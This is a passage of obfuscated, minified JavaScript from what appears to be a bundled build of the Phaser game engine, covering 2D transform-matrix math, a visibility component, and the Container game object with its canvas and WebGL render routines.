_0x241dce, _0x59f0a3[0x1] = _0x5a76ff * _0x3cd91e + _0xb4902c * _0x4eed03, _0x59f0a3[0x2] = _0x27c37b * _0x3bb7af + _0x1ebf73 * _0x241dce, _0x59f0a3[0x3] = _0x27c37b * _0x3cd91e + _0x1ebf73 * _0x4eed03, _0x59f0a3[0x4] = _0x424fc4 * _0x3bb7af + _0x8b4092 * _0x241dce + _0x45dd46, _0x59f0a3[0x5] = _0x424fc4 * _0x3cd91e + _0x8b4092 * _0x4eed03 + _0xd4373b, this; }, 'transform': function (_0x2f6d71, _0x3ad233, _0x450821, _0x164aa5, _0x89efab, _0x36908f) { var _0x1bab99 = this['matrix'], _0xdcfc85 = _0x1bab99[0x0], _0x52195a = _0x1bab99[0x1], _0xd56a2b = _0x1bab99[0x2], _0x37bb0c = _0x1bab99[0x3], _0x545302 = _0x1bab99[0x4], _0x33e7c5 = _0x1bab99[0x5]; return _0x1bab99[0x0] = _0x2f6d71 * _0xdcfc85 + _0x3ad233 * _0xd56a2b, _0x1bab99[0x1] = _0x2f6d71 * _0x52195a + _0x3ad233 * _0x37bb0c, _0x1bab99[0x2] = _0x450821 * _0xdcfc85 + _0x164aa5 * _0xd56a2b, _0x1bab99[0x3] = _0x450821 * _0x52195a + _0x164aa5 * _0x37bb0c, _0x1bab99[0x4] = _0x89efab * _0xdcfc85 + _0x36908f * _0xd56a2b + _0x545302, _0x1bab99[0x5] = _0x89efab * _0x52195a + _0x36908f * _0x37bb0c + _0x33e7c5, this; }, 'transformPoint': function (_0x38b4c5, _0xc823b0, _0x498525) { void 0x0 === _0x498525 && (_0x498525 = { 'x': 0x0, 'y': 0x0 }); var _0xe2a8d3 = this['matrix'], _0x3c913c = _0xe2a8d3[0x0], _0x753a1d = _0xe2a8d3[0x1], _0x17e85d = _0xe2a8d3[0x2], _0x1c1271 = _0xe2a8d3[0x3], _0x114911 = _0xe2a8d3[0x4], _0x305dc0 = _0xe2a8d3[0x5]; return _0x498525['x'] = _0x38b4c5 * _0x3c913c + _0xc823b0 * _0x17e85d + _0x114911, _0x498525['y'] = _0x38b4c5 * _0x753a1d + _0xc823b0 * _0x1c1271 + _0x305dc0, _0x498525; }, 'invert': function () { var _0x3ff08e = this['matrix'], _0x337e68 = _0x3ff08e[0x0], _0xe6aa57 = _0x3ff08e[0x1], _0x3692f3 = _0x3ff08e[0x2], _0x567689 = _0x3ff08e[0x3], _0x58dcd8 = _0x3ff08e[0x4], _0x26da99 = _0x3ff08e[0x5], _0x227d55 = _0x337e68 * _0x567689 - _0xe6aa57 * _0x3692f3; return _0x3ff08e[0x0] = _0x567689 / _0x227d55, _0x3ff08e[0x1] = -_0xe6aa57 / _0x227d55, _0x3ff08e[0x2] = -_0x3692f3 / _0x227d55, _0x3ff08e[0x3] = _0x337e68 / _0x227d55, _0x3ff08e[0x4] = (_0x3692f3 * _0x26da99 - _0x567689 * _0x58dcd8) / _0x227d55, _0x3ff08e[0x5] = -(_0x337e68 * _0x26da99 - _0xe6aa57 * _0x58dcd8) / _0x227d55, this; }, 'copyFrom': function (_0x562816) { var _0x10fd5a = this['matrix']; return _0x10fd5a[0x0] = _0x562816['a'], _0x10fd5a[0x1] = _0x562816['b'], _0x10fd5a[0x2] = _0x562816['c'], _0x10fd5a[0x3] = _0x562816['d'], _0x10fd5a[0x4] = _0x562816['e'], _0x10fd5a[0x5] = _0x562816['f'], this; }, 'copyFromArray': function (_0x26bb8e) { var _0x55ee68 = this['matrix']; return _0x55ee68[0x0] = _0x26bb8e[0x0], _0x55ee68[0x1] = _0x26bb8e[0x1], _0x55ee68[0x2] = _0x26bb8e[0x2], _0x55ee68[0x3] = _0x26bb8e[0x3], _0x55ee68[0x4] = _0x26bb8e[0x4], _0x55ee68[0x5] = _0x26bb8e[0x5], this; }, 'copyToContext': function (_0x10b2b4) { var _0x1f89fe = this['matrix']; return _0x10b2b4['transform'](_0x1f89fe[0x0], _0x1f89fe[0x1], _0x1f89fe[0x2], _0x1f89fe[0x3], _0x1f89fe[0x4], _0x1f89fe[0x5]), _0x10b2b4; }, 'setToContext': function (_0x23f004) { return _0x23f004['setTransform'](this), _0x23f004; }, 'copyToArray': function (_0x3ce5dc) { var _0x374f9e = this['matrix']; return void 0x0 === _0x3ce5dc ? _0x3ce5dc = [_0x374f9e[0x0], _0x374f9e[0x1], _0x374f9e[0x2], _0x374f9e[0x3], _0x374f9e[0x4], _0x374f9e[0x5]] : (_0x3ce5dc[0x0] = _0x374f9e[0x0], _0x3ce5dc[0x1] = _0x374f9e[0x1], _0x3ce5dc[0x2] = _0x374f9e[0x2], _0x3ce5dc[0x3] = _0x374f9e[0x3], _0x3ce5dc[0x4] = _0x374f9e[0x4], _0x3ce5dc[0x5] = _0x374f9e[0x5]), _0x3ce5dc; }, 'setTransform': function (_0x20ee08, _0x45c7d6, _0x29f5cd, _0x37b44b, _0x53bdf8, _0x1efd36) { var _0x3a7073 = this['matrix']; return _0x3a7073[0x0] = _0x20ee08, _0x3a7073[0x1] = _0x45c7d6, _0x3a7073[0x2] = _0x29f5cd, _0x3a7073[0x3] = _0x37b44b, _0x3a7073[0x4] = _0x53bdf8, _0x3a7073[0x5] = _0x1efd36, this; }, 'decomposeMatrix': function () { var _0x2c8183 = this['decomposedMatrix'], _0x52067b = this['matrix'], _0x46b326 = _0x52067b[0x0], _0xc698ed = _0x52067b[0x1], _0x1564cd = _0x52067b[0x2], _0x1225b1 = _0x52067b[0x3], _0x118ea6 = _0x46b326 * _0x1225b1 - _0xc698ed * _0x1564cd; if (_0x2c8183['translateX'] = _0x52067b[0x4], _0x2c8183['translateY'] = _0x52067b[0x5], _0x46b326 || _0xc698ed) { var _0x4cd258 = Math['sqrt'](_0x46b326 * _0x46b326 + _0xc698ed * _0xc698ed); _0x2c8183['rotation'] = _0xc698ed > 0x0 ? Math['acos'](_0x46b326 / _0x4cd258) : -Math['acos'](_0x46b326 / _0x4cd258), _0x2c8183['scaleX'] = _0x4cd258, _0x2c8183['scaleY'] = _0x118ea6 / _0x4cd258; } else { if (_0x1564cd || _0x1225b1) { var _0x7b2efb = Math['sqrt'](_0x1564cd * _0x1564cd + _0x1225b1 * _0x1225b1); _0x2c8183['rotation'] = 0.5 * Math['PI'] - (_0x1225b1 > 0x0 ? Math['acos'](-_0x1564cd / _0x7b2efb) : -Math['acos'](_0x1564cd / _0x7b2efb)), _0x2c8183['scaleX'] = _0x118ea6 / _0x7b2efb, _0x2c8183['scaleY'] = _0x7b2efb; } else _0x2c8183['rotation'] = 0x0, _0x2c8183['scaleX'] = 0x0, _0x2c8183['scaleY'] = 0x0; } return _0x2c8183; }, 'applyITRS': function (_0x4de9e0, _0x1a0144, _0x4f8127, _0x10a44a, _0x3d3cf5) { var _0x4b5370 = this['matrix'], _0x2f93c6 = Math['sin'](_0x4f8127), _0xf8f18 = Math['cos'](_0x4f8127); return _0x4b5370[0x4] = _0x4de9e0, _0x4b5370[0x5] = _0x1a0144, _0x4b5370[0x0] = _0xf8f18 * _0x10a44a, _0x4b5370[0x1] = _0x2f93c6 * _0x10a44a, _0x4b5370[0x2] = -_0x2f93c6 * _0x3d3cf5, _0x4b5370[0x3] = _0xf8f18 * _0x3d3cf5, this; }, 'applyInverse': function (_0x1fbda4, _0x12c53d, _0xf10669) { void 0x0 === _0xf10669 && (_0xf10669 = new _0x56dda1()); var _0x252f39 = this['matrix'], _0x46f5e0 = _0x252f39[0x0], _0x459d73 = _0x252f39[0x1], _0x271dcc = _0x252f39[0x2], _0x278f69 = _0x252f39[0x3], _0x4983fa = _0x252f39[0x4], _0x3634a5 = _0x252f39[0x5], _0x2f42c7 = 0x1 / (_0x46f5e0 * _0x278f69 + _0x271dcc * -_0x459d73); return _0xf10669['x'] = _0x278f69 * _0x2f42c7 * _0x1fbda4 + -_0x271dcc * _0x2f42c7 * _0x12c53d + (_0x3634a5 * _0x271dcc - _0x4983fa * _0x278f69) * _0x2f42c7, _0xf10669['y'] = _0x46f5e0 * _0x2f42c7 * _0x12c53d + -_0x459d73 * _0x2f42c7 * _0x1fbda4 + (-_0x3634a5 * _0x46f5e0 + _0x4983fa * _0x459d73) * _0x2f42c7, _0xf10669; }, 'setQuad': function (_0x33496e, _0x2bd272, _0x495d7e, _0x1dc4f2, _0x5a0c01, _0x392b22) { void 0x0 === _0x5a0c01 && (_0x5a0c01 = !0x1), void 0x0 === _0x392b22 && (_0x392b22 = this['quad']); var _0x5772dc = this['matrix'], _0x79fdd1 = _0x5772dc[0x0], _0x5b3b0b = _0x5772dc[0x1], _0x37a9ff = _0x5772dc[0x2], _0x37f532 = _0x5772dc[0x3], _0x19224b = _0x5772dc[0x4], _0x347228 = _0x5772dc[0x5], _0x3e4f46 = _0x33496e * _0x79fdd1 + _0x2bd272 * _0x37a9ff + _0x19224b, _0x1e5a46 = _0x33496e * _0x5b3b0b + _0x2bd272 * _0x37f532 + _0x347228, _0x1ea72e = _0x33496e * _0x79fdd1 + _0x1dc4f2 * _0x37a9ff + _0x19224b, _0x27d361 = _0x33496e * _0x5b3b0b + _0x1dc4f2 * _0x37f532 + _0x347228, _0xc1fd44 = _0x495d7e * _0x79fdd1 + _0x1dc4f2 * _0x37a9ff + _0x19224b, _0x11f55a = _0x495d7e * _0x5b3b0b + _0x1dc4f2 * _0x37f532 + _0x347228, _0x418c32 = _0x495d7e * _0x79fdd1 + _0x2bd272 * _0x37a9ff + _0x19224b, _0x53192a = _0x495d7e * _0x5b3b0b + _0x2bd272 * _0x37f532 + _0x347228; if (_0x5a0c01) { var _0x3c7b01 = Math['floor'](_0x3e4f46 + 0.5), _0x315bab = Math['floor'](_0x1e5a46 + 0.5), _0x102677 = _0x3c7b01 - _0x3e4f46, _0x321b2f = _0x315bab - _0x1e5a46; _0x392b22[0x0] = _0x3c7b01, _0x392b22[0x1] = _0x315bab, _0x392b22[0x2] = _0x1ea72e + _0x102677, _0x392b22[0x3] = _0x27d361 + _0x321b2f, _0x392b22[0x4] = _0xc1fd44 + _0x102677, _0x392b22[0x5] = _0x11f55a + _0x321b2f, _0x392b22[0x6] = _0x418c32 + _0x102677, _0x392b22[0x7] = _0x53192a + _0x321b2f; } else _0x392b22[0x0] = _0x3e4f46, _0x392b22[0x1] = _0x1e5a46, _0x392b22[0x2] = _0x1ea72e, _0x392b22[0x3] = _0x27d361, _0x392b22[0x4] = _0xc1fd44, _0x392b22[0x5] = _0x11f55a, _0x392b22[0x6] = _0x418c32, _0x392b22[0x7] = _0x53192a; return _0x392b22; }, 'getX': function (_0x3b3b3e, _0x1a9cb6) { return _0x3b3b3e * this['a'] + _0x1a9cb6 * this['c'] + this['e']; }, 'getY': function (_0x104e12, _0x5959be) { return _0x104e12 * this['b'] + _0x5959be * this['d'] + this['f']; }, 'getXRound': function (_0x2ae66f, _0x3eb95d, _0x1fa238) { var _0x2072c0 = this['getX'](_0x2ae66f, _0x3eb95d); return _0x1fa238 && (_0x2072c0 = Math['floor'](_0x2072c0 + 0.5)), _0x2072c0; }, 'getYRound': function (_0xeef171, _0x4fe634, _0x156c4a) { var _0x1fd70a = this['getY'](_0xeef171, _0x4fe634); return _0x156c4a && (_0x1fd70a = Math['floor'](_0x1fd70a + 0.5)), _0x1fd70a; }, 'getCSSMatrix': function () { var _0x263875 = this['matrix']; return 'matrix(' + _0x263875[0x0] + ',' + _0x263875[0x1] + ',' + _0x263875[0x2] + ',' + _0x263875[0x3] + ',' + _0x263875[0x4] + ',' + _0x263875[0x5] + ')'; }, 'destroy': function () { this['matrix'] = null, this['quad'] = null, this['decomposedMatrix'] = null; } }); _0x578048['exports'] = _0x598e6b; }, 0xe943: _0x3ddb85 => { var _0x36c071 = { '_visible': !0x0, 'visible': { 'get': function () { return this['_visible']; }, 'set': function (_0xc8b4f0) { _0xc8b4f0 ? (this['_visible'] = !0x0, this['renderFlags'] |= 0x1) : (this['_visible'] = !0x1, this['renderFlags'] &= -0x2); } }, 'setVisible': function (_0x289b22) { return this['visible'] = _0x289b22, this; } }; _0x3ddb85['exports'] = _0x36c071; }, 0x7aa9: (_0x40120c, _0x6b0d1, _0x152281) => { _0x40120c['exports'] = { 'Alpha': _0x152281(0x3e85), 'AlphaSingle': _0x152281(0x159bd), 'BlendMode': _0x152281(0x15fd1), 'ComputedSize': _0x152281(0x17007), 'Crop': _0x152281(0xf0f3), 'Depth': _0x152281(0x15cb8), 'Flip': _0x152281(0xd4a2), 'FX': _0x152281(0xb7d3), 'GetBounds': _0x152281(0x1f44), 'Mask': _0x152281(0x217d), 'Origin': _0x152281(0x6afb), 'PathFollower': _0x152281(0x9308), 'Pipeline': _0x152281(0x11bfb), 'PostPipeline': _0x152281(0x44ad), 'ScrollFactor': _0x152281(0x13963), 'Size': _0x152281(0x4160), 'Texture': _0x152281(0x935e), 'TextureCrop': _0x152281(0x137c4), 'Tint': _0x152281(0x6b50), 'ToJSON': _0x152281(0xd20e), 'Transform': _0x152281(0x4205), 'TransformMatrix': _0x152281(0xef9c), 'Visible': _0x152281(0xe943) }; }, 0x7b47: (_0x331565, _0x5e2cf3, _0x41c6e7) => { var _0x29e402 = _0x41c6e7(0x90f1), _0x5098fd = _0x41c6e7(0x2848), _0x5284c7 = _0x41c6e7(0x145db), _0x126404 = _0x41c6e7(0x7aa9), _0x26a253 = _0x41c6e7(0xc9fc), _0x59e425 = _0x41c6e7(0x1759b), _0x3f72ef = _0x41c6e7(0x15721), _0x59f718 = _0x41c6e7(0x7507), _0x4833fe = _0x41c6e7(0x9023), _0x3a8700 = _0x41c6e7(0x65f3), _0x4ededd = new _0x126404['TransformMatrix'](), _0xea9955 = new _0x5284c7({ 'Extends': _0x59e425, 'Mixins': [_0x126404['AlphaSingle'], _0x126404['BlendMode'], _0x126404['ComputedSize'], _0x126404['Depth'], _0x126404['Mask'], _0x126404['PostPipeline'], _0x126404['Transform'], _0x126404['Visible'], _0x59f718], 'initialize': function (_0x4f164a, _0x3edf45, _0x25a756, _0x36ecc5) { _0x59e425['call'](this, _0x4f164a, 'Container'), this['list'] = [], this['exclusive'] = !0x0, this['maxSize'] = -0x1, this['position'] = 0x0, this['localTransform'] = new _0x126404['TransformMatrix'](), this['_sortKey'] = '', this['_sysEvents'] = _0x4f164a['sys']['events'], this['scrollFactorX'] = 0x1, this['scrollFactorY'] = 0x1, this['initPostPipeline'](), this['setPosition'](_0x3edf45, _0x25a756), this['setBlendMode'](_0x5098fd['SKIP_CHECK']), _0x36ecc5 && this['add'](_0x36ecc5); }, 'originX': { 'get': function () { return 0.5; } }, 'originY': { 'get': function () { return 0.5; } }, 'displayOriginX': { 'get': function () { return 0.5 * this['width']; } }, 'displayOriginY': { 'get': function () { return 0.5 * this['height']; } }, 'setExclusive': function (_0x915ef7) { return void 0x0 === _0x915ef7 && (_0x915ef7 = !0x0), this['exclusive'] = _0x915ef7, this; }, 'getBounds': function (_0x2da862) { if (void 0x0 === _0x2da862 && (_0x2da862 = new _0x3f72ef()), _0x2da862['setTo'](this['x'], this['y'], 0x0, 0x0), this['parentContainer']) { var _0x392c84 = this['parentContainer']['getBoundsTransformMatrix']()['transformPoint'](this['x'], this['y']); _0x2da862['setTo'](_0x392c84['x'], _0x392c84['y'], 0x0, 0x0); } if (this['list']['length'] > 0x0) { var _0x4813b5 = this['list'], _0x138761 = new _0x3f72ef(), _0x39b757 = !0x1; _0x2da862['setEmpty'](); for (var _0x250b71 = 0x0; _0x250b71 < _0x4813b5['length']; _0x250b71++) { var _0x42cfb7 = _0x4813b5[_0x250b71]; _0x42cfb7['getBounds'] && (_0x42cfb7['getBounds'](_0x138761), _0x39b757 ? _0x4833fe(_0x138761, _0x2da862, _0x2da862) : (_0x2da862['setTo'](_0x138761['x'], _0x138761['y'], _0x138761['width'], _0x138761['height']), _0x39b757 = !0x0)); } } return _0x2da862; }, 'addHandler': function (_0x43c58b) { _0x43c58b['once'](_0x26a253['DESTROY'], this['onChildDestroyed'], this), this['exclusive'] && (_0x43c58b['parentContainer'] && _0x43c58b['parentContainer']['remove'](_0x43c58b), _0x43c58b['parentContainer'] = this, _0x43c58b['removeFromDisplayList'](), _0x43c58b['addedToScene']()); }, 'removeHandler': function (_0x500a95) { _0x500a95['off'](_0x26a253['DESTROY'], this['remove'], this), this['exclusive'] && (_0x500a95['parentContainer'] = null, _0x500a95['removedFromScene'](), _0x500a95['addToDisplayList']()); }, 'pointToContainer': function (_0x36a2ab, _0x473da6) { void 0x0 === _0x473da6 && (_0x473da6 = new _0x3a8700()), this['parentContainer'] ? this['parentContainer']['pointToContainer'](_0x36a2ab, _0x473da6) : (_0x473da6['x'] = _0x36a2ab['x'], _0x473da6['y'] = _0x36a2ab['y']); var _0x5cb496 = _0x4ededd; return _0x5cb496['applyITRS'](this['x'], this['y'], this['rotation'], this['scaleX'], this['scaleY']), _0x5cb496['invert'](), _0x5cb496['transformPoint'](_0x36a2ab['x'], _0x36a2ab['y'], _0x473da6), _0x473da6; }, 'getBoundsTransformMatrix': function () { return this['getWorldTransformMatrix'](_0x4ededd, this['localTransform']); }, 'add': function (_0x3ebe6f) { return _0x29e402['Add'](this['list'], _0x3ebe6f, this['maxSize'], this['addHandler'], this), this; }, 'addAt': function (_0xb46d31, _0x27f389) { return _0x29e402['AddAt'](this['list'], _0xb46d31, _0x27f389, this['maxSize'], this['addHandler'], this), this; }, 'getAt': function (_0x67f376) { return this['list'][_0x67f376]; }, 'getIndex': function (_0x11e8c9) { return this['list']['indexOf'](_0x11e8c9); }, 'sort': function (_0x953a2b, _0x18ac9e) { return _0x953a2b ? (void 0x0 === _0x18ac9e && (_0x18ac9e = function (_0x83e2b4, _0x19203c) { return _0x83e2b4[_0x953a2b] - _0x19203c[_0x953a2b]; }), _0x29e402['StableSort'](this['list'], _0x18ac9e), this) : this; }, 'getByName': function (_0x56fad2) { return _0x29e402['GetFirst'](this['list'], 'name', _0x56fad2); }, 'getRandom': function (_0x308b50, _0x5da096) { return _0x29e402['GetRandom'](this['list'], _0x308b50, _0x5da096); }, 'getFirst': function (_0x4a0432, _0x5eaacc, _0x51ab5a, _0x588d65) { return _0x29e402['GetFirst'](this['list'], _0x4a0432, _0x5eaacc, _0x51ab5a, _0x588d65); }, 'getAll': function (_0x225c9a, _0x10c280, _0x30967b, _0x454fda) { return _0x29e402['GetAll'](this['list'], _0x225c9a, _0x10c280, _0x30967b, _0x454fda); }, 'count': function (_0x46bc84, _0x2e5400, _0x4b2337, _0x1de66a) { return _0x29e402['CountAllMatching'](this['list'], _0x46bc84, _0x2e5400, _0x4b2337, _0x1de66a); }, 'swap': function (_0x25582c, _0x3b1468) { return _0x29e402['Swap'](this['list'], _0x25582c, _0x3b1468), this; }, 'moveTo': function (_0x58e080, _0x4c930a) { return _0x29e402['MoveTo'](this['list'], _0x58e080, _0x4c930a), this; }, 'moveAbove': function (_0x21b132, _0x481ab8) { return _0x29e402['MoveAbove'](this['list'], _0x21b132, _0x481ab8), this; }, 'moveBelow': function (_0x1dff08, _0x3f8f3c) { return _0x29e402['MoveBelow'](this['list'], _0x1dff08, _0x3f8f3c), this; }, 'remove': function (_0x1ba50c, _0x371532) { var _0x7b68e3 = _0x29e402['Remove'](this['list'], _0x1ba50c, this['removeHandler'], this); if (_0x371532 && _0x7b68e3) { Array['isArray'](_0x7b68e3) || (_0x7b68e3 = [_0x7b68e3]); for (var _0x218e23 = 0x0; _0x218e23 < _0x7b68e3['length']; _0x218e23++)_0x7b68e3[_0x218e23]['destroy'](); } return this; }, 'removeAt': function (_0x3b5649, _0x2447e3) { var _0x8041cd = _0x29e402['RemoveAt'](this['list'], _0x3b5649, this['removeHandler'], this); return _0x2447e3 && _0x8041cd && _0x8041cd['destroy'](), this; }, 'removeBetween': function (_0xbb932c, _0x477f36, _0x5c1371) { var _0x53fccd = _0x29e402['RemoveBetween'](this['list'], _0xbb932c, _0x477f36, this['removeHandler'], this); if (_0x5c1371) { for (var _0x5b41ad = 0x0; _0x5b41ad < _0x53fccd['length']; _0x5b41ad++)_0x53fccd[_0x5b41ad]['destroy'](); } return this; }, 'removeAll': function (_0x19927c) { var _0x33a826 = this['list']; if (_0x19927c) { for (var _0x41ef8d = 0x0; _0x41ef8d < _0x33a826['length']; _0x41ef8d++)_0x33a826[_0x41ef8d] && _0x33a826[_0x41ef8d]['scene'] && (_0x33a826[_0x41ef8d]['off'](_0x26a253['DESTROY'], this['onChildDestroyed'], this), _0x33a826[_0x41ef8d]['destroy']()); this['list'] = []; } else _0x29e402['RemoveBetween'](_0x33a826, 0x0, _0x33a826['length'], this['removeHandler'], this); return this; }, 'bringToTop': function (_0xb70ae7) { return _0x29e402['BringToTop'](this['list'], _0xb70ae7), this; }, 'sendToBack': function (_0x52c923) { return _0x29e402['SendToBack'](this['list'], _0x52c923), this; }, 'moveUp': function (_0x543cf6) { return _0x29e402['MoveUp'](this['list'], _0x543cf6), this; }, 'moveDown': function (_0x5a52da) { return _0x29e402['MoveDown'](this['list'], _0x5a52da), this; }, 'reverse': function () { return this['list']['reverse'](), this; }, 'shuffle': function () { return _0x29e402['Shuffle'](this['list']), this; }, 'replace': function (_0x4780e6, _0x425fe1, _0x54f2ff) { return _0x29e402['Replace'](this['list'], _0x4780e6, _0x425fe1) && (this['addHandler'](_0x425fe1), this['removeHandler'](_0x4780e6), _0x54f2ff && _0x4780e6['destroy']()), this; }, 'exists': function (_0x55ec2f) { return this['list']['indexOf'](_0x55ec2f) > -0x1; }, 'setAll': function (_0x38d2ca, _0x590ac2, _0x16fd07, _0x511073) { return _0x29e402['SetAll'](this['list'], _0x38d2ca, _0x590ac2, _0x16fd07, _0x511073), this; }, 'each': function (_0x23a3e9, _0x1e0327) { var _0x23aac0, _0x594dec = [null], _0x33e3de = this['list']['slice'](), _0x480f1d = _0x33e3de['length']; for (_0x23aac0 = 0x2; _0x23aac0 < arguments['length']; _0x23aac0++)_0x594dec['push'](arguments[_0x23aac0]); for (_0x23aac0 = 0x0; _0x23aac0 < _0x480f1d; _0x23aac0++)_0x594dec[0x0] = _0x33e3de[_0x23aac0], _0x23a3e9['apply'](_0x1e0327, _0x594dec); return this; }, 'iterate': function (_0x42fe55, _0x40c2b5) { var _0x4769ef, _0x322afa = [null]; for (_0x4769ef = 0x2; _0x4769ef < arguments['length']; _0x4769ef++)_0x322afa['push'](arguments[_0x4769ef]); for (_0x4769ef = 0x0; _0x4769ef < this['list']['length']; _0x4769ef++)_0x322afa[0x0] = this['list'][_0x4769ef], _0x42fe55['apply'](_0x40c2b5, _0x322afa); return this; }, 'setScrollFactor': function (_0xe9c1cd, _0x546fa3, _0x582aae) { return void 0x0 === _0x546fa3 && (_0x546fa3 = _0xe9c1cd), void 0x0 === _0x582aae && (_0x582aae = !0x1), this['scrollFactorX'] = _0xe9c1cd, this['scrollFactorY'] = _0x546fa3, _0x582aae && (_0x29e402['SetAll'](this['list'], 'scrollFactorX', _0xe9c1cd), _0x29e402['SetAll'](this['list'], 'scrollFactorY', _0x546fa3)), this; }, 'length': { 'get': function () { return this['list']['length']; } }, 'first': { 'get': function () { return this['position'] = 0x0, this['list']['length'] > 0x0 ? this['list'][0x0] : null; } }, 'last': { 'get': function () { return this['list']['length'] > 0x0 ? (this['position'] = this['list']['length'] - 0x1, this['list'][this['position']]) : null; } }, 'next': { 'get': function () { return this['position'] < this['list']['length'] ? (this['position']++, this['list'][this['position']]) : null; } }, 'previous': { 'get': function () { return this['position'] > 0x0 ? (this['position']--, this['list'][this['position']]) : null; } }, 'preDestroy': function () { this['removeAll'](!!this['exclusive']), this['localTransform']['destroy'](), this['list'] = []; }, 'onChildDestroyed': function (_0x23be50) { _0x29e402['Remove'](this['list'], _0x23be50), this['exclusive'] && (_0x23be50['parentContainer'] = null, _0x23be50['removedFromScene']()); } }); _0x331565['exports'] = _0xea9955; }, 0xd150: _0x3f9735 => { _0x3f9735['exports'] = function (_0x3e0983, _0xd89d35, _0x51e377, _0x2ebe16) { _0x51e377['addToRenderList'](_0xd89d35); var _0x55bf50 = _0xd89d35['list']; if (0x0 !== _0x55bf50['length']) { var _0x1998ff = _0xd89d35['localTransform']; _0x2ebe16 ? (_0x1998ff['loadIdentity'](), _0x1998ff['multiply'](_0x2ebe16), _0x1998ff['translate'](_0xd89d35['x'], _0xd89d35['y']), _0x1998ff['rotate'](_0xd89d35['rotation']), _0x1998ff['scale'](_0xd89d35['scaleX'], _0xd89d35['scaleY'])) : _0x1998ff['applyITRS'](_0xd89d35['x'], _0xd89d35['y'], _0xd89d35['rotation'], _0xd89d35['scaleX'], _0xd89d35['scaleY']); var _0x14d2fa = -0x1 !== _0xd89d35['blendMode']; _0x14d2fa || _0x3e0983['setBlendMode'](0x0); var _0x5e2e5b = _0xd89d35['_alpha'], _0x3e6df1 = _0xd89d35['scrollFactorX'], _0x48b879 = _0xd89d35['scrollFactorY']; _0xd89d35['mask'] && _0xd89d35['mask']['preRenderCanvas'](_0x3e0983, null, _0x51e377); for (var _0x309f0b = 0x0; _0x309f0b < _0x55bf50['length']; _0x309f0b++) { var _0xa4fc38 = _0x55bf50[_0x309f0b]; if (_0xa4fc38['willRender'](_0x51e377)) { var _0x65a46e = _0xa4fc38['alpha'], _0x5315ee = _0xa4fc38['scrollFactorX'], _0x2ffe86 = _0xa4fc38['scrollFactorY']; _0x14d2fa || _0xa4fc38['blendMode'] === _0x3e0983['currentBlendMode'] || _0x3e0983['setBlendMode'](_0xa4fc38['blendMode']), _0xa4fc38['setScrollFactor'](_0x5315ee * _0x3e6df1, _0x2ffe86 * _0x48b879), _0xa4fc38['setAlpha'](_0x65a46e * _0x5e2e5b), _0xa4fc38['renderCanvas'](_0x3e0983, _0xa4fc38, _0x51e377, _0x1998ff), _0xa4fc38['setAlpha'](_0x65a46e), _0xa4fc38['setScrollFactor'](_0x5315ee, _0x2ffe86); } } _0xd89d35['mask'] && _0xd89d35['mask']['postRenderCanvas'](_0x3e0983); } }; }, 0x12d57: (_0x40aa7e, _0x4023bf, _0x39ae5c) => { var _0xf19e21 = _0x39ae5c(0x62d9), _0x70ac08 = _0x39ae5c(0x7b47), _0x390847 = _0x39ae5c(0xae3b), _0x3f2fe1 = _0x39ae5c(0x5c10), _0x2e03cc = _0x39ae5c(0x17534); _0x390847['register']('container', function (_0x2e7df6, _0x31419c) { void 0x0 === _0x2e7df6 && (_0x2e7df6 = {}); var _0x3ec28e = _0x3f2fe1(_0x2e7df6, 'x', 0x0), _0x277c78 = _0x3f2fe1(_0x2e7df6, 'y', 0x0), _0x43ecae = _0x2e03cc(_0x2e7df6, 'children', null), _0x50d86d = new _0x70ac08(this['scene'], _0x3ec28e, _0x277c78, _0x43ecae); return void 0x0 !== _0x31419c && (_0x2e7df6['add'] = _0x31419c), _0xf19e21(this['scene'], _0x50d86d, _0x2e7df6), _0x50d86d; }); }, 0x6181: (_0x19a7be, _0x1367e6, _0x12f610) => { var _0x383b0b = _0x12f610(0x7b47); _0x12f610(0x9a05)['register']('container', function (_0x13c7b5, _0x32561e, _0x2904b8) { return this['displayList']['add'](new _0x383b0b(this['scene'], _0x13c7b5, _0x32561e, _0x2904b8)); }); }, 0x7507: (_0x32020f, _0x2e2465, _0x423f56) => { var _0x3a1b1a = _0x423f56(0x7433), _0x58564f = _0x3a1b1a, _0xb7368f = _0x3a1b1a; _0x58564f = _0x423f56(0x11a39), _0xb7368f = _0x423f56(0xd150), _0x32020f['exports'] = { 'renderWebGL': _0x58564f, 'renderCanvas': _0xb7368f }; }, 0x11a39: _0x2e54c1 => { _0x2e54c1['exports'] = function (_0xf0b76a, _0x3ab1b2, _0x10b812, _0x435f3e) { _0x10b812['addToRenderList'](_0x3ab1b2); var _0x2da023 = _0x3ab1b2['list'], _0x4d6e68 = _0x2da023['length']; if (0x0 !== _0x4d6e68) { var _0x3c185e = _0x3ab1b2['localTransform']; _0x435f3e ? (_0x3c185e['loadIdentity'](), _0x3c185e['multiply'](_0x435f3e), _0x3c185e['translate'](_0x3ab1b2['x'], _0x3ab1b2['y']), _0x3c185e['rotate'](_0x3ab1b2['rotation']), _0x3c185e['scale'](_0x3ab1b2['scaleX'], _0x3ab1b2['scaleY'])) : _0x3c185e['applyITRS'](_0x3ab1b2['x'], _0x3ab1b2['y'], _0x3ab1b2['rotation'], _0x3ab1b2['scaleX'], _0x3ab1b2['scaleY']), _0xf0b76a['pipelines']['preBatch'](_0x3ab1b2); var _0x158e59 = -0x1 !== _0x3ab1b2['blendMode']; _0x158e59 || _0xf0b76a['setBlendMode'](0x0); for (var _0x789a59 = _0x3ab1b2['alpha'], _0x5f3d5b = _0x3ab1b2['scrollFactorX'], _0x184525 = _0x3ab1b2['scrollFactorY'], _0x543934 = 0x0; _0x543934 < _0x4d6e68; _0x543934++) { var _0xe25923 = _0x2da023[_0x543934]; if (_0xe25923['willRender'](_0x10b812)) { var _0x301bbb, _0x3a16da, _0xd69f81, _0x157df8; if (void 0x0 !== _0xe25923['alphaTopLeft']) _0x301bbb = _0xe25923['alphaTopLeft'], _0x3a16da = _0xe25923['alphaTopRight'], _0xd69f81 = _0xe25923['alphaBottomLeft'], _0x157df8 = _0xe25923['alphaBottomRight']; else { var _0x5b6214 = _0xe25923['alpha']; _0x301bbb = _0x5b6214, _0x3a16da = _0x5b6214, _0xd69f81 = _0x5b6214, _0x157df8 = _0x5b6214; } var _0x3531f9 = _0xe25923['scrollFactorX'], _0x457183 = _0xe25923['scrollFactorY']; _0x158e59 || _0xe25923['blendMode'] === _0xf0b76a['currentBlendMode'] || _0xf0b76a['setBlendMode'](_0xe25923['blendMode']); var _0x4a997e = _0xe25923['mask']; _0x4a997e && _0x4a997e['preRenderWebGL'](_0xf0b76a, _0xe25923, _0x10b812); var _0x25654b = _0xe25923['type']; 